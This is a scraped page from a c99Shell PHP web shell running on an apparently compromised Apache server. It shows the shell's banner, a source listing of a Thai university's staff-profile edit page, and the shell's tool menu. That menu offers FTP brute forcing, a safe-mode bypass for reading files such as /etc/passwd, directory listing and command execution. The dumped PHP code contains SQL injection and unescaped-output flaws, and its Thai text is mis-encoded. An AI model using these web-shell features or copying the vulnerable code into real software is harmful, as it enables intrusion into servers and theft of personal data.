110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/teacher_aj_viratt/history/Work/ drwxr-xr-x Free 49.66 GB of 127.8 GB (38.86%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

 session_start();

 if (session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password"))

 {

include("../../../include/FunctionDB.php");

ConnectDB();

$Username = $valid_user;

$Password = $password;

$sql = "Select * From personal_tb Where Username='$Username' ";

$result = mysql_query($sql) or die(" Error").mysql_error();

$rs = mysql_fetch_array($result)

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>History Detail</title>

<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<link rel="stylesheet" href="css/style1.css" type="text/css">

<link href="../../../css/style1.css" rel="stylesheet" type="text/css">

</head>



<body bgcolor="#FFFFFF">

<table width="100%" border="0" cellspacing="0" cellpadding="0">

  <tr> 

    <td> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC">

        <tr> 

          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 

            <div align="center"><strong><font size="2" face="Tahoma"><a href="../Menu_History.php" class="d">ўйНБЩЕ»ГРЗСµФ</a></font></strong></div></td>

          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 

            <div align="center"><strong><font color="#003399" size="2" face="Tahoma"><a href="../Menu_History.php" class="d">ЎЕСє</a></font></strong></div></td>

          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 

            <div align="center"><strong><font color="#003366" size="2" face="Tahoma"><a href="Show_Work_History.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="d">бКґ§»ГРЗСµФЎТГ·У§Т№</a></font></strong></div></td>

          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 

            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../../logout.php" class="d">Logout</a></font></strong></div></td>

        </tr>

      </table></td>

  </tr>

</table>

<table width="100%" border="0" cellspacing="0" cellpadding="0">

  <tr>

    <td><div align="center"><font color="#000000" size="2" face="Tahoma"><strong>ўіР№Хй 

        Н.</strong></font> <font color="#993333" size="2" face="Tahoma"><strong><?php echo $rs[Teacher_name]?>&nbsp; 

        <?php echo $rs[Teacher_lastname]?> </strong></font><font color="#000000" size="2" face="Tahoma"><strong>ЎУЕС§гЄй§Т№ГРєє</strong></font></div></td>

  </tr>

  <tr>

    <td>&nbsp;</td>

  </tr>

</table>

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#EAEAEA" style="border:1px solid gray">

  <!--DWLayoutTable-->

  <form action="Edit1.php" method="POST">

    <tr bordercolor="#E7FAFE" bgcolor="#ECF5FF"> 

      <td height="20" colspan="3" nowrap bordercolor="#FFFFFF"><div align="center"><font color="#003366" size="4" face="Tahoma"><strong><font color="#FF0000">бЎйдў</font> 

          »ГРЗСµФЎТГ·У§Т№</strong></font></div></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#000000" size="2" face="Tahoma">»ГРаА·єШ¤ЕТЎГ</font></div></td>

      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#EEEEEE"> <font color="#003366" size="2" face="Tahoma">&nbsp; 

        </font><font size="2" face="Tahoma"> 

        <input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","1"))){echo "checked";} ?> value="1" onKeyPress="return handleEnter(this, event)">

        ўйТГТЄЎТГ 

        <input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","2"))){echo "checked";} ?> value="2" onKeyPress="return handleEnter(this, event)">

        ѕ№СЎ§Т№ўН§ГС° 

        <input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","3"))){echo "checked";} ?> value="3" onKeyPress="return handleEnter(this, event)">

        ЕЩЎЁйТ§»ГРЁУ 

        <input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","4"))){echo "checked";} ?> value="4" onKeyPress="return handleEnter(this, event)">

        ЕЩЎЁйТ§ЄСиЗ¤ГТЗ</font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#000000" size="2" face="Tahoma">»ГРаА·НТЁТГВм</font></div></td>

      <td nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F9F9F9"><font color="#003366" size="2" face="Tahoma">&nbsp; 

        </font><font size="2" face="Tahoma"> 

        <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","1"))){echo "checked";} ?> value="1" onKeyPress="return handleEnter(this, event)">

        НТЁТГВм·С№µбѕ·Вм 

        <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","2"))){echo "checked";} ?> value="2" onKeyPress="return handleEnter(this, event)">

        ЗФ·ВТЁТГВм 

        <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","3"))){echo "checked";} ?> value="3" onKeyPress="return handleEnter(this, event)">

        НТЁТГВмѕФаИЙ 

        <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","4"))){echo "checked";} ?> value="4" onKeyPress="return handleEnter(this, event)">

        НТЁТГВмаАКСЄ 

        <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","5"))){echo "checked";} ?> value="5" onKeyPress="return handleEnter(this, event)">

        НТЁТГВмѕВТєТЕ         

        <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","6"))){echo "checked";} ?> value="6" onKeyPress="return handleEnter(this, event)">

        НТЁТГВм</font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#000000" size="2" face="Tahoma">К¶Т№РµУбЛ№и§</font></div></td>

      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#EEEEEE"><font size="2" face="Tahoma">

                <input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","01"))){echo "checked";} ?> value="01" onKeyPress="return handleEnter(this, event)" >

·С№µбѕ·Вм

<input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","02"))){echo "checked";} ?> value="02" onKeyPress="return handleEnter(this, event)" >

аАКСЄЎГ</font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td width="260" height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> 

        <div align="center"><font color="#000000" size="2" face="Tahoma">¤ЗТБаЄХиВЗЄТ</font></div></td>

      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> 

        <textarea name="Skill" cols="40" rows="5" id="Skill"><? echo $rs[Skill] ;?></textarea>

        </font></td>

    </tr>

    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">аЕў·Хигє»ГРЎНєЗФЄТЄХѕ</font></div></td>

      <td width="18" nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td width="704" nowrap bgcolor="#F9F9F9"> <font color="#003366" size="2" face="Tahoma"> 

        <input name="Gover_id" type="text" id="Gover_id" value="<? echo $rs[Gover_id] ;?>">

        </font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">аЕў·ХиКБТЄФЎКАТЎТГѕВТєТЕ</font></div></td>

      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> 

        <input name="Forum_nid" type="text" id="Forum_nid" value="<? echo $rs[Forum_nid] ;?>">

        &nbsp;&nbsp;<font color="#000000">аЕў·ХиКБТЄФЎКБТ¤БѕВТєТЕ</font> 

        <input name="Club_nid" type="text" id="Club_nid" value="<?  echo $rs[Club_nid];?>">

        </font></td>

    </tr>

    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">»Х·ХиаГФиБГСєГТЄЎТГ</font></div></td>

      <td width="18" nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td width="704" nowrap bgcolor="#F9F9F9"><font color="#003366" size="2" face="Tahoma"> 

        ѕ.И. 

        <input name="Year_gov" type="text" id="Year_gov" value="<? echo $rs[Year_gov];?>" size="10">

 а§Ф№аґЧН№ 

 <input name="Salary_1" type="text" id="Salary_1" value="<?  echo $rs[Salary_1];?>">

</font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">»Х·ХиаГФиБ·У§Т№г№ЗФ·ВТЕСВ</font></div></td>

      <td width="18" nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td width="704" nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> 

        ѕ.И. 

        <input name="Year_coll" type="text" id="Year_coll" value="<? echo $rs[Year_coll];?>" size="10">

а§Ф№¤иТ µНєб·№ЗФЄТЄХѕ 

<input name="Salary_2" type="text" id="Salary_2" value="<?  echo $rs[Salary_2];?>">

</font></td>

    </tr>

    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">»Х·ХиаГФиБ·У§Т№г№АТ¤</font></div></td>

      <td width="18" nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td width="704" nowrap bgcolor="#F9F9F9"><font color="#003366" size="2" face="Tahoma"> 

        ѕ.И. 

        <input name="Year_fac" type="text" id="Year_fac" value="<? echo $rs[Year_fac];?>" size="10">

 а§Ф№»ГРЁУµУбЛ№и§ 

 <input name="Salary_3" type="text" id="Salary_3" value="<?  echo $rs[Salary_3];?>">

</font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">µУбЛ№и§·Т§ГТЄЎТГ</font></div></td>

      <td nowrap bordercolor="#E7FAFE" bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bordercolor="#E7FAFE" bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> 

        <input name="Gover_pos" type="text" id="Gover_pos" value="<? echo $rs[Gover_pos];?>" size="30">

        </font></td>

    </tr>

    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">µУбЛ№и§ЎТГєГФЛТГ</font></div></td>

      <td nowrap bgcolor="#F9F9F9"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#F9F9F9"><font color="#003366" size="2" face="Tahoma"> 

        <input name="Manage_pos" type="text" id="Manage_pos" value="<? echo $rs[Manage_pos];?>" size="30">

        </font></td>

    </tr>

    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 

      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#000000" size="2" face="Tahoma">КС§ЎСґАТ¤ЗФЄТ 

          </font> </div></td>

      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>

      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"><strong><font size="2" face="MS Sans Serif, Tahoma, sans-serif">

        <select name="Faculty_code" class="input1" id="Faculty_code">

          <?php

            $Faculty_code= $rs[Faculty_code];

             $strSQL1 = "SELECT * FROM faculty_tb Where Faculty_code='$Faculty_code' ";

            $result1 = mysql_query($strSQL1);

           $strSQL2 = "SELECT * FROM  faculty_tb Order By Faculty_name ";

            $result2 = mysql_query($strSQL2);

                 while( $rs1 = mysql_fetch_array($result1))

                {

                echo"<option value=\"$rs1[Faculty_code]\" ><b>$rs1[Faculty_name]</b></option>\n";

                 while( $rs2 = mysql_fetch_array($result2))

                    {

               echo"<option value=\"$rs2[Faculty_code]\" ><b>$rs2[Faculty_name]</b></option>\n";

                 }

                }

            CloseDB();  

          ?>

                </select>

        </font></strong></font></td>

    </tr>

    <tr bgcolor="#ECF5FF"> 

      <td height="20" colspan="3"> <div align="center"> 

          <input type="hidden" name="Teacher_code"  value="<? echo $rs[Teacher_code]?>">

          <input type="submit" name="Submit" value="єС№·ЦЎ">

        </div></td>

    </tr>

  </form>

</table>



<p>&nbsp;</p>

</body>

</html>

<?php 

    }

else

{

       echo"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";

       echo"Please Login ";

}

?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: